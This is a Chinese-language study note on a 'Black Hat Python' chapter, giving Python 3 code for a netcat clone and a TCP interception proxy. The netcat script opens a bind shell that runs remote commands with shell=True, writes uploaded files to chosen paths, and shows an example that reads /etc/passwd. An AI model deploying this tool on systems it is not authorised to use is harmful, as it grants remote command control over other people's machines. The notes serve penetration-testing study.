python3黑帽子渗透笔记第二章--网络基础
1 先来看看不可少的socket模块
(1)tcp_client.py
在渗透测试过程中,创建一个tcp客户端连接服务,发送垃圾数据,进行模糊测试等。
(2)udp_client.py
2 nc工具的实现
进入服务器以后如果没有安装nc,这个时候却有,这样子可以创建简单的客户端和服务器传递使用的文件,或者创建监听让自己拥有控制命令行的操作权限
需要学习的模块
(1)getopt模块处理命令行
(2)threading模块
(3)socket模块
(4)subprocess模块
1 #!/usr/bin/env python3 2 # coding=utf-8 3 import sys 4 from socket import * 5 import getopt # 用来处理命令行参数 6 import threading 7 import subprocess # 启动一个shell,并控制输入输出 8 9 # -e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。 10 listen = False 11 command = False 12 upload = False 13 execute = "" 14 target = "" 15 upload_destination = "" 16 port = 0 17 18 #帮助提示 19 def usage(): 20 print("netcat") 21 print("Usage:nc_hacker.py -t target_host -p target_port") 22 print("-l --listen - listen on [host]:[port] for incoming connections") 23 print("-e --execute=ile_to_run - execute the given file upon receiving a connection") 24 print("-c --command - initialize a command shell") 25 print("-u --upload=destination - upon receiving connection upload a file and write to [destination]") 26 print("Examples: ") 27 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c") 28 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe") 29 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"") 30 print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135") 31 sys.exit(0) 32 33 34 # 主函数 35 def main(): 36 global listen 37 global port 38 global execute 39 global command 40 global upload_destination 41 global target 42 # 没有输入值就显示菜单 43 if not len(sys.argv[1:]): 44 usage() 45 try: 46 # getopt模块处理命令行, 47 # h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数 48 # help后面没有等号=,表示后面不带参数,有=,表示后面需要参数 49 # 返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')] 50 # args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66'] 51 opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", 52 ["help", "listen", "execute", "target", "port", "command", "upload"]) 53 except getopt.GetoptError as err: 54 print(str(err)) 55 usage() 56 for o, a in opts: 57 if o in ("-h", "--help"): 58 usage() 59 elif o in ("-l", "--listen"): 60 listen = True 61 elif o in ("-e", "--execute"): 62 execute = a 63 elif o in ("-c", "--command"): 64 command = True 65 elif o in ("-u", "--upload"): 66 upload_destination = a 67 elif o in ("-t", "--target"): 68 target = a 69 elif o in ("-p", "--port"): 70 port = int(a) 71 else: 72 print("unhandled option") 73 # 从标准输入中发送数据 74 if not listen and len(target) and port > 0: 75 # 读取输入的数据 76 # 这里将阻塞,发送ctrl-d使用 77 buffer = input() # sys.stdin.read() 78 # 发送数据 79 client_sender(buffer) 80 # 进行监听 81 if listen: 82 print('the server is listening on %s:%d' % (target, port)) 83 server_loop() 84 85 86 # 客户端代码 87 def client_sender(buffer): 88 client = socket(AF_INET, SOCK_STREAM) 89 try: 90 print("start connecting...") 91 client.connect((target, port)) 92 print("connected") 93 # 如果我们检测到来自stdin的输入。 94 # 如果不是,我们就等待用户输入。 95 if len(buffer): 96 client.send(buffer) 97 while True: 98 # 等待数据回传 99 recv_len = 1 100 response = "" 101 print("waiting response:") 102 while recv_len: 103 data = client.recv(4096) 104 recv_len = len(data) 105 response += data.decode("utf-8") 106 if recv_len < 4096: 107 break 108 print(response, end="") 109 # 等待更多输入 110 buffer = input("") 111 buffer += "\n" 112 client.send(buffer.encode("utf-8")) 113 except: 114 print("[*] Exception! Exiting.") 115 # 断开连接 116 client.close() 117 118 119 # 服务端代码 120 def server_loop(): 121 global target, port 122 123 # 如果没有定义目标,就监听所有接口 124 if not len(target): 125 target = "0.0.0.0" 126 server = socket(AF_INET, SOCK_STREAM) 127 server.bind((target, port)) 128 server.listen(5) 129 130 while True: 131 client_socket, addr = server.accept() 132 # print(client_socket)<socket._socketobject object at 0x107552d00> 133 # 分出一个线程来处理新的客户端 134 client_thread = threading.Thread(target=client_handler, args=(client_socket,)) 135 client_thread.start() 136 137 138 # -c命令 139 def run_command(command): 140 # 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本 141 command = command.rstrip() 142 # 运行命令并将输出返回 143 try: 144 # subprocess.STDOUT是抛出异常。 145 output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) 146 except: 147 output = "Failed to execute command.\r\n" 148 # 将输出发送 149 return output 150 151 152 # 处理传入的客户端连接 153 def client_handler(client_socket): 154 global upload, execute, 155 # 检测上传文件command 156 if len(upload_destination): 157 # 读取所有的字节并写入 158 file_buffer = "" 159 # 持续读取数据直到没有数据可用为止,有问题 160 while True: 161 data = client_socket.recv(1024) 162 if not data: 163 break 164 else: 165 file_buffer += data 166 # 现在我们取这些字节并试着把它们写出来。 167 try: 168 print('opening') 169 #打开文件并写入 170 file_descriptor = open(upload_destination, "wb") 171 file_descriptor.write(file_buffer) 172 print('written') 173 file_descriptor.close() 174 175 # 确认文件是否上传 176 client_socket.send("Successfully saved file to %s\r\n" % upload_destination) 177 except: 178 client_socket.send("Failed to save file to %s\r\n" % upload_destination) 179 # 检查命令执行 180 if len(execute): 181 # 运行命令 182 output = run_command(execute) 183 client_socket.send(output) 184 # 如果需要一个命令shell,那我们进入另一个循环,。 185 if command: 186 while True: 187 # 跳出一个窗口 188 client_socket.send(b"<netcat:#> ") 189 # 现在我们接收文件直到发现换行符(enter key) 190 cmd_buffer = "" 191 while "\n" not in cmd_buffer: 192 cmd_buffer += client_socket.recv(1024).decode("utf-8") 193 # 返还命令输出 194 response = run_command(cmd_buffer) 195 # 返回相应数据 196 client_socket.send(response) 197 198 199 if __name__ == "__main__": 200 main()
3 tcp代理的实现
了解未知的协议,修改发送到应用的数据包或者为模糊测试创建一个测试环境。
思路:
server_loop中循环接受---->每接受一次连接就开启线程执行proxy_handler----->连接目标主机----->本地读取发送目标主机
1 #!/usr/bin/env python3 2 # coding=utf-8 3 import sys 4 from socket import * 5 import threading 6 7 8 # 16进制导出函数 9 def hexdump(src, length=16): 10 result = [] 11 # 判读输入是否为字符串 12 digits = 4 if isinstance(src, str) else 2 13 for i in range(0, len(src), length): 14 # 将字符串切片为16个为一组 15 s = src[i:i + length] 16 # 用16进制来输出,x是digits的值,表示输出宽度 17 hexa = ' '.join(["%0*X" % (digits, (x)) for x in s]) 18 # 用来输出原值 19 text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s]) 20 # %-*s, 星号是length*(digits + 1)的值 21 result.append("%04X %-*s %s" % (i, length * (digits + 1), hexa, text)) 22 print('\n'.join(result)) 23 24 25 # 设置延时有问题,后续更改 26 def receive_from(connection): 27 buffer = b"" 28 # 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM) 29 connection.settimeout(5) 30 try: 31 # 保持数据的读取直到没有数据或超时 32 while True: 33 data = connection.recv(4096) 34 if not data: 35 break 36 buffer += data 37 except: 38 pass 39 return buffer 40 41 42 # 对目标主机的请求数据进行修改 43 def request_handler(buffer): 44 return buffer 45 46 47 # 对返回本地主机的响应数据进行修改 48 def response_handler(buffer): 49 return buffer 50 51 52 def proxy_handler(client_socket, target_host, target_port, receive_first): 53 # 连接目标主机 54 target_socket = socket(AF_INET, SOCK_STREAM) 55 target_socket.connect((target_host, target_port)) 56 57 # 必要时从目标主机接收数据 58 if receive_first: 59 target_buffer = receive_from(target_socket) 60 hexdump(target_buffer) 61 # 发送给我们的响应处理程序 62 target_buffer = response_handler(target_buffer) 63 # 如果要发送数据给本地客户端,发送它 64 if len(target_buffer): 65 print("[<==] Sending %d bytes to localhost." % len(target_buffer)) 66 client_socket.send(target_buffer) 67 68 # 现在我们从本地循环读取数据,发送给远程主机和本地主机 69 while True: 70 # 从本地读取数据 71 local_buffer = receive_from(client_socket) 72 if len(local_buffer): 73 print("[==>] Received %d bytes from localhost." % len(local_buffer)) 74 hexdump(local_buffer) 75 # 发送给我们的本地请求 76 local_buffer = request_handler(local_buffer) 77 # 发送数据给目标主机 78 target_socket.send(local_buffer) 79 print("[==>] Sent to target.") 80 81 # 接收响应的数据 82 target_buffer = receive_from(target_socket) 83 84 if len(target_buffer): 85 print("[<==] Received %d bytes from target." % len(target_buffer)) 86 hexdump(target_buffer) 87 # 发送到响应处理函数 88 target_buffer = response_handler(target_buffer) 89 # 将响应发送给本地socket 90 client_socket.send(target_buffer) 91 print("[<==] Sent to localhost.") 92 93 # 两边没有数据了,就关闭连接 94 if not len(local_buffer) or not len(target_buffer): 95 client_socket.close() 96 target_socket.close() 97 print("[*] No more data. Closing connections.") 98 break 99 100 101 def server_loop(local_host, local_port, target_host, target_port, receive_first): 102 server = socket(AF_INET, SOCK_STREAM) 103 try: 104 server.bind((local_host, local_port)) 105 except: 106 print("[!!] Failed to listen on %s:%d" % (local_host, local_port)) 107 print("[!!] Check for other listening sockets or correct permissions.") 108 sys.exit(0) 109 110 print("[*] Listening on %s:%d" % (local_host, local_port)) 111 112 server.listen(5) 113 114 while True: 115 client_socket, addr = server.accept() 116 # 本地连接信息 117 print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1])) 118 # 开启线程和目标主机通信 119 proxy_thread = threading.Thread(target=proxy_handler, 120 args=(client_socket, target_host, target_port, receive_first)) 121 proxy_thread.start() 122 123 124 def main(): 125 if len(sys.argv[1:]) != 5: 126 print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]") 127 print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True") 128 sys.exit(0) 129 # 本地参数 130 local_host = sys.argv[1] 131 local_port = int(sys.argv[2]) 132 # 目标参数 133 target_host = sys.argv[3] 134 target_port = int(sys.argv[4]) 135 136 receive_first = sys.argv[5] 137 138 if "True" in receive_first: 139 receive_first = True 140 else: 141 receive_first = False 142 143 # 开始监听 144 server_loop(local_host, local_port, target_host, target_port, receive_first) 145 146 147 main()